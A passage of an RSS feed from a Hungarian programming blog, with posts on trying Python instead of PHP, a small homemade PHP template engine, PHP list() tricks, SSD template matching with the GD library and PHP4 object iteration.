<p>Itt már kezdődtek a gondok. Mutatkoztak annak a jelei, hogy a Python egy általános scriptnyelv, nem webre teremtették, mint a PHP-t. Ha mindenféle keretrendszer nélkül szeretnénk benne webprogramozni, csupán a megfelelő Apache beállítások elvégzésével és egy mod_python betöltésével... hát... nem lesz egy könnyű dolgunk (arról nem is beszélve, hogy a mod_python mellett van számos más alternatíva is és akkor még el sem jutottunk odáig, hogy keretrendszert válasszunk). Persze egy nagyon minimális keretrendszert össze lehet dobni pár tíz perc és 50-60 sor kód alatt (amit meg is tettem, just for fun), de végső soron arra jutottam, hogy ha webprogramozás, akkor egyelőre maradok a PHP-nél.</p>

<p>A gond ez után már csak az volt, hogy ha nem webprogramozásra, akkor mégis mi a fenére használjak egy scriptnyelvet? Mivel egy általános nyelvről van szó, elég sok dologra lehetne használni. Ennek okán úgy döntöttem, hogy ha valami nem webprogramozással kapcsolatos, de programozást igénylő problémába ütközöm, akkor azt Python-ban próbálom majd megoldani, ahelyett, hogy a jól bevált PHP-t használnám. Így ha épp egy random, 8 betűből álló stringre van szükségem, akkor nem azt írom, hogy:</p>

<pre class="code prettyprint lang-php">$str = '';
for ($i = 0; $i &lt; 8; ++$i) {
	$str .= chr(mt_rand(97, 122));
}
print $str;</pre>

<p>Hanem inkább ezt:</p>

<pre class="code prettyprint lang-python">from random import randint
print ''.join([chr(randint(97, 122)) for x in range(8)])</pre>

<p>Valószínűleg így egyes problémákat tovább tart megoldani, mivel kénytelen vagyok utánanézni olyan dolgoknak, amiknek PHP-ban nem kellene, viszont ha sosem használom a nyelvet valós problémák megoldására, akkor egyrészt nem lesz benne gyakorlatom, másrészt pedig elfelejtem. Végeredményben tehát a Python egy szép nyelv (és nem csak külalakra, hanem működését és megoldásait tekintve is), amivel érdemes foglalkozni. Már csak azért is, hogy új szemléletmódokat szedjen magára az ember. Ezt pedig jól segíti <a href="http://www.diveintopython.org/">ez az online is olvasható könyv</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2008/07/27/kigyobuvoles-alapfokon/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Szükségesek-e a sablonnyelvek?</title>
		<link>http://deadlime.hu/2007/10/14/szuksegesek-e-a-sablonnyelvek/</link>
		<comments>http://deadlime.hu/2007/10/14/szuksegesek-e-a-sablonnyelvek/#comments</comments>
		<pubDate>Sun, 14 Oct 2007 12:41:09 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[sablonok]]></category>
		<category><![CDATA[Smarty]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2007/10/14/szuksegesek-e-a-sablonnyelvek/</guid>
		<description><![CDATA[Régebben írtam a PHP sablonnyelvként való használatáról. Lehet szépíteni a dolgokat, de hosszú távon ennek a használata (főleg megfelelő szerkesztőprogrambeli makrók nélkül) kényelmetlen, hosszadalmas és még a makrók használatával együtt is csúnya, olvashatatlan. A Smarty egyetlen pozitívuma az, hogy egyszerűen és gyorsan lehet írni, kényelmesen lehet használni. Persze ez nem vigasz azoknak, akik nem akarnak [...]]]></description>
			<content:encoded><![CDATA[<p>Régebben írtam a PHP sablonnyelvként való használatáról. Lehet szépíteni a dolgokat, de hosszú távon ennek a használata (főleg megfelelő szerkesztőprogrambeli makrók nélkül) kényelmetlen, hosszadalmas és még a makrók használatával együtt is csúnya, olvashatatlan. A Smarty egyetlen pozitívuma az, hogy egyszerűen és gyorsan lehet írni, kényelmesen lehet használni. Persze ez nem vigasz azoknak, akik nem akarnak egy több ezer kódsorból álló sablon kezelőt használni csak emiatt a kényelem miatt.</p>

<p>Nagyrészt így vagyok vele én is. Gyakorlatilag a szintaktikájának az alapjait leszámítva nem lenne szükségem semmire a Smarty-ból. Nem érdekel, hogy korlátozni lehet a sablon íróját, hogy a PHP eszköztár csak egy részét használhassa (minek is korlátoznám magam...). Nem érdekel, hogy könnyen és gyorsan lehet hozzá plugineket írni (ha az egész PHP használható lenne, erre nincs is túl nagy szükség). Nincs szükségem semmi ilyesmire.<br/>
Sokkal inkább vonz az, ha a nyelvet gyorsan lehet gépelni (pl. mert rövid, minimális speciális karaktert használ és logikus a szerkezete). Az se egy hátrány, ha az elkészült sablon valamilyen szinten olvasható lesz. Nem lenne rossz még, ha egy elfogadható minőségű PHP kódot generálna az én sablonomból, ami aztán elfogadható (a lehető leggyorsabb) sebességgel futna. Az első kettőt még csak-csak teljesíti, de az utolsóval eléggé hadilábon áll a Smarty. Így itt az idő valami más után nézni...</p><span id="more-108"></span>

<p>A legkézenfekvőbb dolog a PHP használata lenne erre a célra, ami az első két ponton totálisan megbukik. Kiindulási alapnak viszont jó lesz:</p>

<pre class="code prettyprint lang-php">&lt;h1&gt;Valami sablon&lt;/h1&gt;

&lt;?php if (5 &gt; 6): ?&gt;
	&lt;p&gt;&lt;?php print('5 nagyobb mint 6'); ?&gt;&lt;/p&gt;
&lt;?php else: ?&gt;
	&lt;p&gt;&lt;?php print('5 nem nagyobb, mint 6'); ?&gt;&lt;/p&gt;
&lt;?php endif; ?&gt;</pre>

<p>Mi lenne, ha első körbe a <code>&lt;?php</code> és a <code>?&gt;</code> helyett a jól megszokott <code>{</code> és <code>}</code> lenne használva?</p>

<pre class="code prettyprint lang-php">&lt;h1&gt;Valami sablon&lt;/h1&gt;

{ if (5 &gt; 6): }
	&lt;p&gt;{ print('5 nagyobb mint 6'); }&lt;/p&gt;
{ else: }
	&lt;p&gt;{ print('5 nem nagyobb, mint 6'); }&lt;/p&gt;
{ endif; }</pre>

<p>Haladunk, esetleg még a <code>print()</code> helyett bevezethetnénk a PHP rövid tag <code>&lt;?=</code> szerkezetéhez hasonlóan egy <code>{=</code> szerkezetet:</p>

<pre class="code prettyprint lang-php">&lt;h1&gt;Valami sablon&lt;/h1&gt;

{ if (5 &gt; 6): }
	&lt;p&gt;{= '5 nagyobb mint 6' }&lt;/p&gt;
{ else: }
	&lt;p&gt;{= '5 nem nagyobb, mint 6' }&lt;/p&gt;
{ endif; }</pre>

<p>Pár kényelmességet elősegítő lépés múlva (szóközök, kettőspontok, felesleges zárójelek, pontosvesszők eltűntetése) sikerült eljutnom a végleges formáig:</p>

<pre class="code prettyprint lang-php">&lt;h1&gt;Valami sablon&lt;/h1&gt;

{if 5 &gt; 6}
	&lt;p&gt;{='5 nagyobb mint 6'}&lt;/p&gt;
{else}
	&lt;p&gt;{='5 nem nagyobb, mint 6'}&lt;/p&gt;
{if}</pre>

<p>Rémisztően hasonlít a Smarty-ra (ez valamilyen szinten cél is volt :)), viszont az ebből fordított PHP kód gyakorlatilag egy az egyben megegyezik az általunk írt sablon kód szerkezetével. Most, hogy megvan az alapvető szintaxis, jöhet a sablonkezelő osztály, ami a fentebb említett több ezer sorhoz képest megvalósult úgy 170 sorból (milyen csodákra képes, ha kihagyunk minden "szemetet", amire nincs szükségünk :)), ami már tartalmaz pár extra funkciót is (mint például a lefordított sablonok újrafordítási szükségességének ellenőrzését). A bemenete egy <a href="http://kriz.deadlime.hu/lighty/template.html" target="_blank">ilyen template</a>, amiből ezt a <a href="http://kriz.deadlime.hu/lighty/template.phps" target="_blank">PHP kódot</a> generálja, valami ilyesmi kóddal:</p>

<pre class="code prettyprint lang-php">&lt;?php
	include('lighty.php');
	
	$l = new Lighty();
	
	$l-&gt;assign('list', array('a', 'b', 'c', 'd'));
	$l-&gt;display('teszt.tpl');
?&gt;</pre>

<p>Amit érdemes ezzel kapcsolatban megemlíteni, hogy a lefordított forrás első sorának elején ott van egy kommentben a fordítás ideje, ami az újrafordítás-ellenőrző számára fontos. Valamint az egész fájl egyetlen egy PHP kódblokkot tartalmaz (ami emlékeim szerint optimálisabb, mint sok-sok kis PHP kódblokk egy sablonon belül). Emiatt vannak felesleges, csak whitespace karaktereket kiíró <code>print()</code> hívások, de ezek megszüntethetőek. És végül, de nem utolsó sorban, a Lighty névre keresztelt sablonrendszer első publikus verziója <a href="http://kriz.deadlime.hu/lighty/lighty.zip">letölthető innen</a>. A csomagban megtalálható egy teszt.php is, ami a fentebb felvázolt példakódot tartalmazza, valamint az általa használt template fájlok és szükséges könyvtárak is.</p>

<p>És hogy így a végén még a címben említett kérdést is megválaszoljam: szerintem szükség van a sablonnyelvekre, mert nagyban meg tudják könnyíteni az ember életét az által, hogy meggyorsítják a sablonírás folyamatát.</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2007/10/14/szuksegesek-e-a-sablonnyelvek/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>PHP – list()</title>
		<link>http://deadlime.hu/2007/02/01/php-list/</link>
		<comments>http://deadlime.hu/2007/02/01/php-list/#comments</comments>
		<pubDate>Thu, 01 Feb 2007 11:49:24 +0000</pubDate>
		<dc:creator>#suidroot</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[list]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2007/02/01/php-list/</guid>
		<description><![CDATA[Hadd mutassak be néhány trükköt a PHP egy régi, de annál hasznosabb nyelvi elemével, aminek a neve: list(). Valószínűleg sokan vannak, akik még hallomásból sem ismerik ezt a szerkezetet, így az ő kedvükért kezdjük a legelején. A mindig az értékadások bal oldalán álló list() konstrukcióval tömböket bonthatunk szét, és a tömbelemek értékeit külön-külön változókban helyezhetjük [...]]]></description>
			<content:encoded><![CDATA[<p>Hadd mutassak be néhány trükköt a PHP egy régi, de annál hasznosabb nyelvi elemével, aminek a neve: <code>list()</code>. Valószínűleg sokan vannak, akik még hallomásból sem ismerik ezt a szerkezetet, így az ő kedvükért kezdjük a legelején.</p>
<span id="more-100"></span>
<p>A mindig az értékadások bal oldalán álló <code>list()</code> konstrukcióval tömböket bonthatunk szét, és a tömbelemek értékeit külön-külön változókban helyezhetjük el. Nézzünk egy egyszerű példát:</p>
<pre class="code prettyprint lang-php">/* Inicializáljuk a tömböt */
$arr = array('A', 'B', 'C', 'D');
   
/* a list() segítségével értéket adunk néhány változónak */
list($egy, $ketto, $harom, $negy) = $arr;

/* A változók tartalma a list() után:
 *  $egy == 'A'
 *  $ketto == 'B'
 *  $harom == 'C'
 *  $negy == 'D'
 */</pre>

<p>Ez magában sem egy haszontalan dolog, de nézzük meg, hogyan csavarhatunk egyet-kettőt a dolgon!</p>

<p><strong>Először:</strong> ha csak néhány tömbelemet kívánunk változókhoz rendelni, akkor hasznunkra válhat a <code>list()</code> azon tulajdonsága, hogy a felsorolásában kihagyhatunk elemeket az alábbi módon:</p>
<pre class="code prettyprint lang-php">$arr = array('A', 'B', 'C', 'D');
/* a trükk */
list($egy, $ketto, , $negy) = $arr;
/* vagy akár: */
list (, , , $negy) = $arr;</pre>

<p><strong>Másodszor:</strong> A <code>list()</code>-tel használható a <code>[]</code> tömb-operátor, aminek a segítségével új elemeket adhatunk a tömbökhöz. Lássuk, hogyan:</p>
<pre class="code prettyprint lang-php">/* Az eredeti tömb */
$arr = array(
    array('A', 'B', 'C', 'D'),
    array('E', 'F', 'G', 'H'),
    array('I', 'J', 'K', 'L'),
    array('M', 'N', 'O', 'P'),
    array('Q', 'R', 'S', 'T')
);

/* Négy üres tömböt hozunk létre */
$egy = $ketto = $harom = $negy = array();

/* Végiglépkedünk $arr-on és list()-tel kitöltjük az új tömböket */
foreach($arr as $row)
{
    list($egy[], $ketto[], $harom[], $negy[]) = $row;
}

/* A tömbök elemei a list() után:
 * $egy =&gt; 'A', 'E', 'I', 'M', 'Q'
 * $ketto =&gt; 'B', 'F', 'J', 'N', 'R'
 * $harom =&gt; 'C', 'G', 'K', 'O', 'S'
 * $negy =&gt; 'D', 'H', 'L', 'P', 'T'
 */</pre>

<p>Remélem hasznotokra tudtam lenni ezzel a bejegyzéssel - további jó programozást és kockulást mindenkinek!</p>

<hr />

<p>További információ a <code>list()</code>-ről a <a href="http://hu.php.net/manual/hu/function.list.php">PHP Kézikönyvben található</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2007/02/01/php-list/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>A hármasok nyomában</title>
		<link>http://deadlime.hu/2007/01/24/a-harmasok-nyomaban/</link>
		<comments>http://deadlime.hu/2007/01/24/a-harmasok-nyomaban/#comments</comments>
		<pubDate>Tue, 23 Jan 2007 23:23:54 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[képfeldolgozás]]></category>
		<category><![CDATA[mintafelismerés]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2007/01/24/a-harmasok-nyomaban/</guid>
		<description><![CDATA[Kezdek beállni erre a havi egy bejegyzésre. Ez nem feltétlen egy jó dolog, de legalább valami rendszeresség már van benne. Azért nem ártana letornászni ezt legalább heti egyre, de addig is, jöjjön a "januári bejegyzés". Remélem sikerül valami érdekeset hoznom az év első deadlime-os bejegyzésével. A téma ismét a képekkel és a GD könyvtárral lesz [...]]]></description>
			<content:encoded><![CDATA[<p>Kezdek beállni erre a havi egy bejegyzésre. Ez nem feltétlen egy jó dolog, de legalább valami rendszeresség már van benne. Azért nem ártana letornászni ezt legalább heti egyre, de addig is, jöjjön a "januári bejegyzés". Remélem sikerül valami érdekeset hoznom az év első deadlime-os bejegyzésével.</p>

<p>A téma ismét a képekkel és a GD könyvtárral lesz kapcsolatos, bár a régi adatrejtéses bitbűvészkedésnél kicsit tovább merészkedünk a képfeldolgozás és a mintafelismerés irányába. A feladat roppant egyszerű lesz, egy adott képen szeretnénk megtalálni - lehetőleg - az összes hármas számot (azért pont a hármast, mert az kellően hasonlít a nagy b betűre, valamint a nyolcas számra is, így nehezítve a dolgunkat). Ehhez adott <a href="http://deadlime.hu/wp-content/uploads/2007/01/image.gif">maga a kép</a>, amin keresünk (egy kis zajjal nehezítettem a keresést, különben elég egyszerű lenne...), valamint <a href="http://deadlime.hu/wp-content/uploads/2007/01/template.gif">egy minta</a>, hogy mit is szeretnénk megtalálni. Vessük is rögtön bele magunkat a hogyanokba.</p><span id="more-93"></span>

<p>Több fajta módszer is létezik annak megállapítására, hogy egy kép bizonyos része és egy minta mennyire hasonlít egymásra. A módszerek lényegében abból állnak, hogy vesszük a mintát, ráillesztjük a kép bal felső sarkára, egy megfelelő képlet segítségével kiszámítjuk, hogy ott mennyire illeszkedik (vagy épp nem illeszkedik), az értéket eltároljuk, majd a mintát eltoljuk egy pixellel balra. Ha elértünk a sor végére, akkor egy pixellel lejjebb toljuk a mintát és visszaugrunk a sor elejére. Innentől már csak az adott képletben fogunk eltérni. Nézzük is az elsőt, ami az <acronym title="Sum of Square Differences">SSD</acronym> nevet kapta, és elsőre talán egy picit ijesztőnek tűnhet:</p>

<div><img id="image95" src="http://deadlime.hu/wp-content/uploads/2007/01/ssd.gif" alt="SSD"/></div>

<p>A képletben látható W a minta lokális koordinátáinak halmaza (tehát függetlenek attól, hogy a képen belül hol járunk éppen), az F pedig a kép koordinátáinak halmaza. Az adatrejtéses bejegyzés óta megtartottam azt a jó szokásomat, hogy továbbra is szürkeárnyalatos képekkel dolgozok, tehát az f és a w függvények olyanok, hogy a kép- illetve a minta koordinátihoz rendelnek egy 0 és 255 közötti számot. Jöjjön egy példa is, hogy egy kicsit leegyszerűsített helyzetben ez hogyan is működik:</p>

<div><img id="image97" src="http://deadlime.hu/wp-content/uploads/2007/01/ssd_pelda.gif" alt="SSD példa"/></div>

<p>A szám, amit a végén megkapunk az "Eredmény" részben lévő pixelek értékeinek összege, azaz nyolc lesz. Mint az látszik, ez a módszer azt adja meg, hogy a képnek ez a része mennyire különbözik a mintától, vagyis minél közelebb van a visszatérési érték a nullához, annál jobb nekünk. A teszteléseim során az SSD elég szép eredményeket ért el a zaj nélküli, fekete-fehér képek esetén (gyakorlatilag az összes hármast megtalálta, mivel egy ilyen mintához érve a képlet visszatérési értéke nulla volt), de a zajjal nem tudott mit kezdeni.</p>

<p>Így jött a képbe az <acronym title="Sum of Square Differences (shift-corrected)">SSD<sub>SC</sub></acronym>, amivel a kép és a minta közti intenzitás-különbséget próbáljuk korrigálni. Az új képlet lényegét muszáj leszek szavakban elmagyarázni, mivel szélességében meghaladja a design befogadóképességét, tehát: lényegében az f(x+x',y+y') függvényértékből levonunk egy f<sub>2</sub>(x,y) függvényértéket és a w(x',y') értékből is egy w<sub>2</sub> értéket. Majd még az így kapott értékeket is kivonjuk egymásból és az egészet négyzetre emeljük (mint azt tettük a sima SSD esetében is). Már csak azt kellene tudni, hogy ez az f<sub>2</sub> és a w<sub>2</sub> hogyan is jön ki. Az f<sub>2</sub> a kép minta által borított pixeleinek átlagértéke (az összes pixel értékének az összege osztva a pixelek számával), a w<sub>2</sub> pedig a minta pixeleinek az átlagértéke (hasonlóan számolva). Tulajdonképpen azt fejezik ki, hogy a minta és a minta által fedett képterület mennyire sötétek illetve világosak.<br/>
Magam is meglepődtem a módszer eredményességén, megfelelő hibahatár mellett az összes hármast sikerült megtalálnia a zajos képen (hibahatár alatt értem azt, hogy mekkora különbséget engedek meg a kép adott része és a minta között, hogy az még találatnak számítson).</p>

<p>Így a végére pedig jöjjön egy PHP-s megvalósítás az SSD<sub>SC</sub>-ra:</p>

<pre class="code prettyprint lang-php">$image = imagecreatefromgif('image.gif');
$template = imagecreatefromgif('template.gif');

$image_width = imagesx($image);
$image_height = imagesy($image);

$template_width = imagesx($template);
$template_height = imagesy($template);

for ($x=0;$x&lt;$image_width;++$x) {
	for ($y=0;$y&lt;$image_height;++$y) {
		$tmp = imagecolorsforindex($image, imagecolorat($image, $x, $y));
		$image_data[$x][$y] = $tmp['red'];
	}
}

$template_average = 0;
for ($x=0;$x&lt;$template_width;++$x) {
	for ($y=0;$y&lt;$template_height;++$y) {
		$tmp = imagecolorsforindex($template, imagecolorat($template, $x, $y));
		$template_data[$x][$y] = $tmp['red'];
		$template_average += $tmp['red'];
	}
}
$template_average = $template_average / ($template_width * $template_height);

imagedestroy($template);

$hibahatar = 100000;

$min = array();
$min_values = array();</pre>

<p>Első körben még semmi komoly, betöltöm a két képet, meghatározom a méretüket, az összes pixelük színét eltárolom egy-egy tömbben (az $image_data és a $template_data tömbök) és meghatározom a w<sub>2</sub> értékét (ez lenne a $template_average, amit ugyebár elég egyszer kiszámolni, mivel nem függ a minta képen való elhelyezkedésétől). Most jön a neheze, a főciklus(ok):</p>

<pre class="code prettyprint lang-php">for ($image_x=0;$image_x&lt;($image_width - $template_width);++$image_x) {
	for ($image_y=0;$image_y&lt;($image_height - $template_height);++$image_y) {

		$SSD[$image_x][$image_y] = 0;

		$image_average = 0;
		for ($template_x=0;$template_x&lt;$template_width;++$template_x) {
			for ($template_y=0;$template_y&lt;$template_height;++$template_y) {
				$image_average += $image_data[($image_x + $template_x)][($image_y + $template_y)];
			}
		}
		$image_average = $image_average / ($template_width * $template_height);

		for ($template_x=0;$template_x&lt;$template_width;++$template_x) {
			for ($template_y=0;$template_y&lt;$template_height;++$template_y) {
				$SSD[$image_x][$image_y] += pow((
					($image_data[($image_x + $template_x)][($image_y + $template_y)] - $image_average) -
					($template_data[$template_x][$template_y] - $template_average)
				), 2);
			}
		}
	}

	$min[$image_x] = min($SSD[$image_x]);
	foreach ($SSD[$image_x] as $k =&gt; $v) {
		if ($v &lt;= ($min[$image_x] + $hibahatar)) {
			$min_values[$image_x][] = $k;
		}
	}
}</pre>

<p>Mint az észrevehető, jó pár ciklus van egymásba ágyazva, ezért nem éppen várható el a scripttől, hogy másodpercek alatt lefusson, főleg ha nem éppen kis képekről van szó. Végül pedig bejelöljük a találatokat az eredeti képen egy zöld négyzettel és elmentjük az új képet:</p>

<pre class="code prettyprint lang-php">$green = imagecolorallocate($image, 0, 255, 0);

$the_min = min($min);
foreach ($min as $k =&gt; $v) {
	if ($v &lt;= ($the_min + $hibahatar)) {
		foreach ($min_values[$k] as $k2 =&gt; $v2) {
			imagerectangle($image, $k-1, $v2-1, $k+$template_width, $v2+$template_height, $green);
		}
	}
}

imagegif($image, 'image_new.gif');

imagedestroy($image);</pre>

<p>A végére pedig jöjjön egy kép, hogy az SSD<sub>SC</sub> nálam milyen eredménnyel járt a példakódban is használt 100000-es hibahatárt használva:</p>

<div style="text-align: center;"><img id="image98" src="http://deadlime.hu/wp-content/uploads/2007/01/ssdsc_100000.gif" alt="ssdsc_100000.gif" /></div>

<p>Remélem mindenkinek sikerült felkeltenem az érdeklődését. Igény esetén szót ejthetek még esetleg a CC, NCC, MNCC képletekről (ezek az SSD-vel ellentétben a hasonlóságok mérésére szolgálnak). Addig is, akit komolyabban is érdekel a téma, annak tudom ajánlani <a href="http://visual.ipan.sztaki.hu/">ezt a weboldalt</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2007/01/24/a-harmasok-nyomaban/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Objektum-iteráció PHP4 alatt is</title>
		<link>http://deadlime.hu/2006/09/27/objektum-iteracio-php4-alatt-is/</link>
		<comments>http://deadlime.hu/2006/09/27/objektum-iteracio-php4-alatt-is/#comments</comments>
		<pubDate>Wed, 27 Sep 2006 13:57:50 +0000</pubDate>
		<dc:creator>#suidroot</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[objektum-iteráció]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2006/09/27/objektum-iteracio-php4-alatt-is/</guid>
		<description><![CDATA[Nomármost: a PHP5 egyik hasznos újítása az, hogy az Iterator interfészen keresztül minden objektum (osztálypéldány) használható tömbként is – ennek leginkább a foreach ciklus alkalmazása során láthatjuk hasznát. Például így: class TestClass { private $data = array('egy' =&#62; 'alma', 'kettő' =&#62; 'körte', 'három' =&#62; 'szőlő', 'négy' =&#62; 'barack'); // Az Iterator interfész implementációja public function [...]]]></description>
			<content:encoded><![CDATA[<p>Nomármost: a PHP5 egyik hasznos újítása az, hogy az <code>Iterator</code> interfészen keresztül minden objektum (osztálypéldány) használható tömbként is – ennek leginkább a <code>foreach</code> ciklus alkalmazása során láthatjuk hasznát. Például így:</p><span id="more-75"></span>

<pre class="code prettyprint lang-php">class TestClass
{
	private $data = array('egy' =&gt; 'alma', 'kettő' =&gt; 'körte', 'három' =&gt; 'szőlő', 'négy' =&gt; 'barack');

	// Az Iterator interfész implementációja
	public function rewind() { reset($this-&gt;data); }
	public function current() { return current($this-&gt;data); }
	public function key() { return key($this-&gt;data); }
	public function next() { return next($this-&gt;data); }
	public function valid() { return ( $this-&gt;current() !== false ); }
}

$instance = new TestClass;

// És itt jön a trükk
foreach($instance as $key =&gt; $value)
{
	echo &quot;$key =&gt; $value\n&quot;;
}</pre>

...És a kimenet pedig várhatóan az lesz, hogy:
<pre class="code prettyprint lang-text">egy =&gt; alma
kettő =&gt; körte
három =&gt; szőlő
négy =&gt; barack</pre>

<p>Viszont nem kerül túl sok munkába írni egy függvényt, ami a Zend2-motor helyett a régi változatban (tehát a PHP4-ben) is elvégzi a tömbbé alakítás feladatát, valahogy így:</p>

<pre class="code prettyprint lang-php">function ObjectIterator(&amp;$object)
{
	$retval = array();
	$object-&gt;rewind();
	do
	{
		$retval[$object-&gt;key()] = $object-&gt;current();
	}
	while($object-&gt;next());

	return $retval;
}</pre>

<p>Tehát az <code>ObjectIterator</code> függvénynek egy olyan osztály egy példányát kell átadni, ami "implementálja" az <code>Iterator</code> interfészt. (Idézőjelbe tettem az implementálni igét, lévén hogy PHP4-ben még nem létezik az <code>implements</code> kulcsszó.) A technika gyakorlatban így hasznosítható:</p>

<pre class="code prettyprint lang-php">class TestClass
{
	var $data = array('egy' =&gt; 'alma', 'kettő' =&gt; 'körte', 'három' =&gt; 'szőlő', 'négy' =&gt; 'barack');

	function rewind() { reset($this-&gt;data); }
	function current() { return current($this-&gt;data); }
	function key() { return key($this-&gt;data); }
	function next() { return next($this-&gt;data); }
	function valid() { return ( $this-&gt;current() !== false ); }
}


function ObjectIterator(&amp;$object)
{
	$retval = array();
	$object-&gt;rewind();
	do
	{
		$retval[$object-&gt;key()] = $object-&gt;current();
	}
	while($item = $object-&gt;next());

	return $retval;
}

$instance = new TestClass;

foreach(ObjectIterator($instance) as $key =&gt; $value)
{
	echo &quot;$key =&gt; $value\n&quot;;
}</pre>

<p>Tehát mielőtt az objektumot a <code>foreach</code>-be dobnánk, köré rakjuk az <code>ObjectIterator</code> függvényt, ami elvégzi a piszkos munkát. Ugyan gyorsaság szempontjából úgy sejtem, hogy ez a megoldás nem teljesítene jól, mégis több mint a semmi: egy olyan hasznos technikát ad a programozó kezébe, amit az joggal hiányolhat a PHP4-ből.</p>

<p style="font-size: 90%;">Köszönet az ihletért az IBM <a href="http://www-128.ibm.com/developerworks/library/os-php-v5migr/index.html?ca=drs-&#038;ca=dkw-php">cikkének</a>. (Via <a href="http://weblabor.hu">Weblabor</a>.)</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2006/09/27/objektum-iteracio-php4-alatt-is/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PHP, mint sablonnyelv</title>
		<link>http://deadlime.hu/2006/07/28/php-mint-sablonnyelv/</link>
		<comments>http://deadlime.hu/2006/07/28/php-mint-sablonnyelv/#comments</comments>
		<pubDate>Fri, 28 Jul 2006 08:47:24 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[sablonok]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2006/07/28/php-mint-sablonnyelv/</guid>
		<description><![CDATA[A weblaboron blogmarkként megjelent írás nagyrészt egyezik az álláspontommal a sablonkezelő rendszerek, sablonnyelvek terén, ezért ebbe nem is akarok nagyobb mélységekbe belemenni. Az utóbbi időben volt alkalmam huzamosabb ideig használni a Smarty-t és tényleg egy jó kis nyelvnek bizonyult arra, hogy az ember sablonokat gyártson, és azok a sablonok átláthatóak is legyenek (amennyire legalábbis egy [...]]]></description>
			<content:encoded><![CDATA[<p>A weblaboron blogmarkként megjelent <a href="http://www.phppatterns.com/docs/design/templates_and_template_engines">írás</a> nagyrészt egyezik az álláspontommal a sablonkezelő rendszerek, sablonnyelvek terén, ezért ebbe nem is akarok nagyobb mélységekbe belemenni. Az utóbbi időben volt alkalmam huzamosabb ideig használni a Smarty-t és tényleg egy jó kis nyelvnek bizonyult arra, hogy az ember sablonokat gyártson, és azok a sablonok átláthatóak is legyenek (amennyire legalábbis egy másik nyelv+HTML átlátható maradhat). Viszont ha csak a deadlime.project alatt dübörgő WordPress-t vesszük, abban viszont a PHP veszi át ezt a szerepet is.</p>

<p>Vannak esetek, amikor egy külön sablonnyelv célravezetőbb lehet, a sablont írók lekorlátozása, az átláthatóság vagy egyéb okok folytán. De milyen eszközök állnak a rendelkezésünkre, ha a PHP-t szeretnénk használni erre a feladatra? A dolgot rendkívül egyszerűen is elintézhetjük, és írhatunk ehhez hasonló sablonokat is:</p><span id="more-69"></span>

<pre class="code prettyprint lang-php">&lt;?php
	echo &quot;&lt;h1&gt;&quot;.$data['title'].&quot;&lt;/h1&gt;
		&lt;p&gt;&quot;.$data['text'].&quot;&lt;/p&gt;&quot;;
?&gt;</pre>

<p>Azon kívül, hogy az így kapott sablonok baromi rondák és átláthatatlanok (főleg ha már elágazásokkal és ciklusokkal is tele vannak tűzdelve), böngészőben sem tudjuk rögtön megnézni őket. Nézzük tehát az első módosítást, amit eszközölhetünk a kódon:</p>

<pre class="code prettyprint lang-php">&lt;h1&gt;&lt;?php echo $data['title']; ?&gt;&lt;/h1&gt;
&lt;p&gt;&lt;?php echo $data['text']; ?&gt;&lt;/p&gt;</pre>

<p>Így már böngészőben is meg tudjuk nézni a készülő sablont, viszont nem lett sokkal szebb és átláthatóbb. Ha engedélyezve vana  php.ini-ben a <code>short_open_tag</code> direktíva, akkor van lehetőségünk használni a következő formát:</p>

<pre class="code prettyprint lang-php">&lt;h1&gt;&lt;?=$data['title'] ?&gt;&lt;/h1&gt;
&lt;p&gt;&lt;?=$data['text'] ?&gt;&lt;/p&gt;</pre>

<p>Amennyiben erre nincs lehetőségünk, érdemes bevezetni egy függvényt, ami az adott indexű tagot elküldi a kimenetre. Legyen egy ilyen <code>data($key, $return=false)</code> függvény, ami <code>$return=true</code> esetén nem a kimenetre küldi az adatot hanem visszaadja. Ez esetben így módosul a kód:</p>

<pre class="code prettyprint lang-php">&lt;h1&gt;&lt;?php data('title'); ?&gt;&lt;/h1&gt;
&lt;p&gt;&lt;?php data('text'); ?&gt;&lt;/p&gt;</pre>

<p>A következő dolog a vezérlési szerkezetek. Az ember hamar bele tud bonyolódni a sablon végén gyülekező <code>&lt;?php } ?&gt;</code> stringekbe, hogy az akkor most melyik if vagy éppen while végét jelzi. Ilyen esetekben egész jól használhatók a PHP alternatív vezérlési szerkezetei, melyek annyiban térnek el a jól megszokott szintaxistól, hogy a soruk végén nem nyitó kapcsos zárójel van, hanem kettőspont és nem záró kapcsos zárójellel végződnek hanem a nevüknek megfelelő <code>endif;</code>, <code>endwhile;</code>, <code>endfor;</code>, <code>endforeach;</code>, vagy <code>endswitch;</code> szavakkal. Nézzünk példát is:</p>

<pre class="code prettyprint lang-php">&lt;? while ($post = data('post_object', true)-&gt;get_next_post()): ?&gt;
&lt;div class=&quot;post&quot; id=&quot;post-&lt;?=$post['id'] ?&gt;&quot;&gt;
	&lt;? if ($post['id'] === 1): ?&gt;
